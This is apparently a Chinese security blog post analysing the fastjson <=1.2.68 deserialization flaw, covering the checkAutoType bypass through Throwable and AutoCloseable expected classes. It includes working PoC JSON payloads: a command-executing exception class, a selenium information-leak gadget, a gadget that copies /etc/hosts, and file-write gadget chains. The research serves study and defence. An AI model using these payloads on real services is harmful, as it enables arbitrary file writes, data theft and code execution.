Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用链分析 (上)

前言

本文是对fastjson高危漏洞的一次整理,包括漏洞调试、PoC构造和补丁分析。

上一篇传送门:Fastjson反序列化高危漏洞系列-part1:1.2.x — 1.2.47

1、fastjson 1.2.48 - 1.2.67

其实从1.2.48版本开始很长一段时间,网上披露了很多绕过黑名单的用于JNDI注入的利用链,其实影响都不大,原因有以下两点:

  • 前提条件是fastjson开启了AutoType。
  • 利用链需要依赖第三方jar,有一些jar还是很少用到的。

因此这里不打算分析这些了,因为原理一样的,可以举一反三。
至于如何自动化去寻找利用链,笔者认为这属于一个比较通用的技能,不局限应用于某个软件的漏洞挖掘和利用,因此打算以后另写文章作为记录。

2、fastjson <= 1.2.68 反序列化漏洞

本文具体分析 1.2.68版本的反序列化漏洞,因为该漏洞再次实现了在autoType关闭的情况下绕过了ParserConfig#checkAutoType()的安全检测。但具体的漏洞利用的危害程度要取决于目标服务的环境(这一点后面会说到),换言之,漏洞利用并不能做到非常通用,因此漏洞的严重性要稍逊于<= 1.2.47 版本的那个漏洞。

该漏洞的细节最初是 @浅蓝 发出来的,该讲的细节都提到了(参考[2][13])。

其实这个漏洞依旧是和ParserConfig#checkAutoType()校验方法做对抗。通过public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)的代码可知,如果同时符合以下条件,则可以在autoType关闭的情况下,绕过ParserConfig#checkAutoType()的安全校验,从而反序列化指定类

  • (1) expectClass不为null,且不等于Object.classSerializable.classCloneable.classCloseable.classEventListener.classIterable.classCollection.class;
  • (2) expectClass需要在缓存集合TypeUtils#mappings中;
  • (3) expectClasstypeName都不在黑名单中;
  • (4) typeName不是ClassLoaderDataSourceRowSet的子类;
  • (5) typeNameexpectClass的子类。

注:说到expectClass(期望类),其实使用过fastjson进行JSON反序列化API的一定不陌生,比如:

//第二个参数就是expectClass(期望要反序列化成的类型)
Student stu2 = JSON.parseObject(testStr, Student.class);

另外,在1.2.68版本开始,新增了safeMode加固模式(参考[10])。配置safeMode后,无论白名单和黑名单,都不支持autoType,可一定程度上缓解反序列化Gadgets类变种攻击。但该模式默认是不开启的。所以不会影响该漏洞的执行流。
该模式的校验判断也是在ParserConfig#checkAutoType()方法中。


什么形式的JSON字符串是指定了expectClass的呢?

前面调试fastjson漏洞的时候发现调用ParserConfig#checkAutoType() 进行安全校验时,参数expectClass的位置传入的都是null

使用IDEA查找下ParserConfig#checkAutoType()方法的引用位置,可以看到以下两个地方的调用,是有传入expectClass的:
在这里插入图片描述

  • JavaBeanDeserializer#deserialze();
  • ThrowableDeserializer#deserialze();

JavaBeanDeserializerThrowableDeserializer是fastjson中两个反序列化器,前者是默认反序列化器,后者是针对异常类对象的反序列化器。

这两个地方就是这个漏洞的两个利用点。下面分别来讲述。


2.1 Throwable

2.1.1 原理

先来看ThrowableDeserializer#deserialze()

在fastjson中,在对某个类型反序列化前,先要进行一次ParserConfig#checkAutoType()检查,然后才是获取相应类型的反序列化器进行反序列化。

换言之,到达ThrowableDeserializer#deserialze() 前,就对一个通过@type指定的异常类进行了ParserConfig#checkAutoType()校验。进入到ThrowableDeserializer#deserialze()后,词法分析器会继续遍历JSON字符串剩余的部分,如果紧接着的键还是一个@type的话,就会将它的值,且Throwable.class作为期望类expectClass,一同传入ParserConfig#checkAutoType()进行校验。
在这里插入图片描述
如果通过校验,则调用ThrowableDeserializer#createException()方法进行异常类的实例化。
在这里插入图片描述
实例化后得到异常类对象,然后会调用它的setter方法。

2.1.2 PoC

接下来就是写一个有问题的异常类,去验证Throwable这个利用点。异常类CalcException代码如下:

package me.mole.exception;

import java.io.IOException;

public class CalcException extends Exception {

    private String command;

    public void setCommand(String command) {
        this.command = command;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(this.command);
        } catch (IOException e) {
            return e.getMessage();
        }
        return super.getMessage();
    }
}

然后就是构造JSON字符串。
要注意的是,由于java.lang.Throwable这个类不在缓存集合TypeUtils#mappings中,所以未开启autoType的情况下,这个类是不能通过ParserConfig#checkAutoType()的校验的。这里在JSON字符串中使用它的一个子类java.lang.Exception,因为java.lang.Exception是在缓存集合TypeUtils#mappigns中的。
在这里插入图片描述
另外还有一个问题,就是我们的CalcException类的危险操作是在getter方法中的,而前面提到,反序列化异常类过程中,只会执行到setter方法,并没有执行getter方法。
这里可以利用fastjson的JSONPath特性$ref去引用指定对象的某个xxx属性,从而访问该对象的getXXX()方法(参考[8][9])。

因此构造JSON字符串如下:

{"x":
	{"@type":"java.lang.Exception",
	 "@type":"me.mole.exception.CalcException", 
	         "command":"open -a Calculator"}, 
 "y":{"$ref":"$x.message"}
 }

在这里插入图片描述
运行PoC后成功弹出计算器。


上述PoC只是为了验证Throwable这个利用点。实际上很少有异常类会使用到高危函数,所以目前还没见有公开的可针对Throwable这个利用点的RCE gadget。

不过@浅蓝倒是给出了一个非 RCE 的 gadget,它需要目标环境依赖selenium库。

2.1.3 依赖selenium的信息泄露gadget

这个gadget需要目标环境引入selenium依赖。

<dependency>
  <groupId>org.seleniumhq.selenium</groupId>
  <artifactId>selenium-api</artifactId>
  <version>4.1.1</version>
</dependency>

其中,org.openqa.selenium.WebDriverException类的getMessage()方法和getSystemInformation()方法都能获取一些系统信息,比如:IP地址、主机名、系统架构、系统名称、系统版本、JDK版本、selenium webdriver版本。另外,还可通过getStackTrace()来获取函数调用栈,从而获悉使用了什么框架或组件。
在这里插入图片描述

因此,可根据情况构造PoC(因为信息不一定能回显,取决于目标程序的代码实现),类似这样:

{"x":
  {"@type":"java.lang.Exception",
  "@type":"org.openqa.selenium.WebDriverException"},
 "y":{"$ref":"$x.systemInformation"}
}

场景的话可参考@浅蓝给的留言板Demo(参考[13])

2.2 AutoCloseable

2.2.1 原理

接着来看JavaBeanDeserializer#deserialze()

原理上,它跟ThrowableDeserializer#deserialze() 这个利用点是一样的,也是通过利用期望类expectClass去绕过checkAutoType()的安全校验。区别在于JavaBeanDeserializer#deserialze()中的expectClass参数是用户可控的,所以漏洞利用可发挥的空间更大。

现在公开的比较具有实战意义的gadget都使用了java.lang.AutoCloseable作为expectClass。之所以使用AutoCloseable,而不是其它类,笔者觉得可能的原因如下:

  • java.lang.AutoCloseableTypeUtils#mappings缓存集合中;
  • java.lang.AutoCloseable使用fastjson默认的反序列化器JavaBeanDeserializer
  • 通过查阅JDK文档可知,AutoCloseable(即其子类对象)持有文件句柄或者socket句柄,所以它是很多类型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便无法找到RCE gadget,也可以找到实现文件读取或写入的gadget,从而可以根据目标环境实际情况串出RCE。
    在这里插入图片描述
    在这里插入图片描述

2.2.2 构造PoC时的坑-1:选对构造方法

fastjson在调用JavaBeanDeserializer#deserialze()进行反序列化的过程中,会去寻找目标类的public类型的构造方法:如果存在无参构造方法,则将其作为构造方法供后续实例化使用;否则使用参数数量最多且排在最前面的构造方法。(具体代码逻辑见JavaBeanInfo#build()静态方法)

举个例子,我想通过fastjson反序列化java.io.FileOutputStream来新建一个文件。FileOutpuStream的构造方法有多个,如下图:
在这里插入图片描述
而按照fastjson的代码逻辑,它会选择public FileOutputStream(File, boolean) 这个构造方法。如果你选择其它的,比如public FileOutputStream(String),构造JSON字符串如下:

{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
"name": "/Users/fa1c0n/tmp/test2.txt"
}

结果抛异常,无法创建实例。从报错信息可以看到它调用的是public FileOutputStream(File, boolean)这个构造方法。
在这里插入图片描述
故将JSON字符串改为:

{
"@type": "java.lang.AutoCloseable",
"@type": "java.io.FileOutputStream",
  "file": "/Users/fa1c0n/tmp/test2.txt",
  "append": "false"
}

运行后,成功反序列化,可以看到生成了文件/Users/fa1c0n/tmp/test2.txt
在这里插入图片描述
在这里插入图片描述

2.2.3 构造PoC时的坑-2:构造方法需带调试信息

笔者使用Oracle JDK8,系统是macOS,运行上面2.2.2FileOutputStream的例子,会报default constructor not found错误:
在这里插入图片描述
而使用OpenJDK 11.0.2 是可以正常运行的。

根据报错信息的函数调用堆栈查找原因。
在这里插入图片描述
可以看到,在JavaBeanInfo#build()静态方法中,会调用ASMUtils.lookupParameterNames(constructor)方法获取构造方法的参数名。如果没找到,则抛出上述异常。

问题就出在这里。
原因是笔者安装的macOS环境的Oracle JDK 8u201,并没有保留包含有参数名的调试信息

可以使用javap -l \<class-name\>查看指定类是否包含参数名信息。
下面来对比一下笔者安装的Oracle JDK 8u201和OpenJDK 11.0.2java.io.FileOutputStream类:
在这里插入图片描述
如上图,可以看到OpenJDK 11.0.2 中,是保留了局部变量表LocalVariableTable的,即保留了局部变量名信息。

而具体哪个版本JDK存在调试信息,或不存在调试信息,这个并没有规律。因此,尽管存在仅依赖JDK的Gadget,但通用性是大打折扣的。不过好在多数的第三方库里的字节码是有LocalVariableTable

2.2.4 Gadget 1: 复制文件

依赖

<dependency>
   <groupId>org.aspectj</groupId>
   <artifactId>aspectjtools</artifactId>
   <version>1.9.5</version>
</dependency>

PoC

{
  '@type':"java.lang.AutoCloseable",
  '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
  'targetPath':'/Users/fa1c0n/tmp/hosts.txt',
  'tempPath':'/etc/hosts'

浅析
因为SafeFileOutputStream()的构造方法里,当targetPath不存在且tempPath存在时,便会进行文件复制。
在这里插入图片描述

2.2.5 Gadget 2: 写文件

@浅蓝在文章中分享了他挖掘写文件gadget的思路:

  • 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream;
  • 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  • 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法调用传入的 OutputStream 的 flush 方法.

依赖

<dependency>
   <groupId>org.aspectj</groupId>
   <artifactId>aspectjtools</artifactId>
   <version>1.9.5</version>
</dependency>
<dependency>
   <groupId>com.esotericsoftware</groupId>
   <artifactId>kryo</artifactId>
   <version>4.0.0</version>
</dependency>
<dependency>
   <groupId>com.sleepycat</groupId>
   <artifactId>je</artifactId>
   <version>18.3.12</version>
</dependency>

PoC

{
    'stream':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.eclipse.core.internal.localstore.SafeFileOutputStream',
        'targetPath':'/tmp/dst',
        'tempPath':'/tmp/src'
    },
    'writer':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'com.esotericsoftware.kryo.io.Output',
        'buffer':'aGFja2VkIGJ5IG0wMWUu',
        'outputStream':
        {
            '$ref':'$.stream'
        },
        'position':15
    },
    'close':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'com.sleepycat.bind.serial.SerialOutput',
        'out':
        {
            '$ref':'$.writer'
        }
    }
}

浅析
(1) 首先通过org.eclipse.core.internal.localstore.SafeFileOutputStream的构造方法创建一个输出流对象,并通过参数去指定目标路径/tmp/dst;
(2) 然后通过com.esotericsoftware.kryo.io.Output的无参构造方法创建输出流对象,并通过setter方法将自身的输出流指向SafeFileOutputStream输出流对象,且通过setter方法往自身缓冲区填充要写入的数据;
(3) 最后,再通过com.sleepycat.bind.serial.SerialOutput的构造方法创建输出流对象,并通过参数将输出流指向(2)创建的Output对象;同时在com.sleepycat.bind.serial.SerialOutput构造方法调用的过程中,会调用com.esotericsoftware.kryo.io.Output#flush()方法,将buffer缓冲区的数据写入到目标文件/tmp/dst

代码就不贴了,有兴趣可以动手调试一下。

2.2.6 Gadget 3: 写文件

这是 @rmb122(参考[5])发现的一个仅依赖于JDK的写文件gadget,尽管如此,前面也提到了,成功与否取决于目标程序的JDK是否带调试信息。

PoC

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'/tmp/fj_hack_jdk11',
           'append':false
        },
        'infl':
        {
            'input':
            {
                'array':'eNoLz0gsKS4uLVBIL60s1lEoycgsVgCiXAPDVD0FT/VchYzUolSFknyF8sSSzLx0hbT8IoVQhbz8cj0uAGcUE78=',
                'limit':65
            }
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

浅析
(1) 在遇到Inflater#setInput(ByteBuffer input)方法时,fastjson处理java.nio.ByteBuffer类型的反序列化会使用com.alibaba.fastjson.serializer.ByteBufferCodec这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()方法返回ByteBuffer对象。
在这里插入图片描述
(2) java.util.zip.InflaterOutputStream是JDK中可用来对zip数据进行解压缩的输出流对象。java.util.zip.InflaterOutputStream#write()方法主要做了两件事:

  • 调用Inflater#inflate()ByteBuffer input中的zip压缩数据进行解压并放到缓冲区byte[] buf[bufLen]中;
  • 调用输出流对象(FileOutputStream)的write()方法将buf中的解压数据写入到目标文件。

由于java.utils.zip.Inflater处理的压缩数据是标准的zip格式,所以可通过命令行程序gzip、openssl或python脚本调用zlib库快速输出指定明文压缩后的数据。(参考14)。当然,也可以使用Java的Inflater/Deflater这两个类,JDK文档里就有代码片段说明如何使用这两个类来实现压缩/解压缩。

这里以Python3为例:
在这里插入图片描述

未完待续

除了以上的利用链,@voidfyoo 公开了在commons-io里找到的写文件利用链。由于commons-io是广泛使用的第三方io库,所以很有实战价值。(参考[6]

另外,在2021年的Blackhat会议中,玄武实验室的@Ronny Xing@Zekai Wu 的议题 <How I use a JSON Deserialization 0day to Steal Your Money On The Blockchain> 中也公开了新的利用链。

以上也是基于AutoCloseable这个利用点的,笔者将留到下一篇文章进行分析和学习。


Author: m01e

参考

[1] https://zonghaishang.github.io/tags/Fastjson源码解析/
[2] https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA
[3] http://scz.617.cn:8/web/202008100900.txt
[4] http://scz.617.cn:8/web/202008111715.txt
[5] https://rmb122.com/2020/06/12/fastjson-1-2-68-反序列化漏洞-gadgets-挖掘笔记/
[6] https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
[7] https://mp.weixin.qq.com/s/esjHYVm5aCJfkT6I1D0uTQ
[8] https://github.com/alibaba/fastjson/wiki/循环引用
[9] https://github.com/alibaba/fastjson/wiki/JSONPath
[10] https://github.com/alibaba/fastjson/wiki/security_update_20200601
[11] https://github.com/LeadroyaL/fastjson-blacklist
[12] http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/
[13] https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
[14] http://scz.617.cn:8/web/202008111505.txt

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值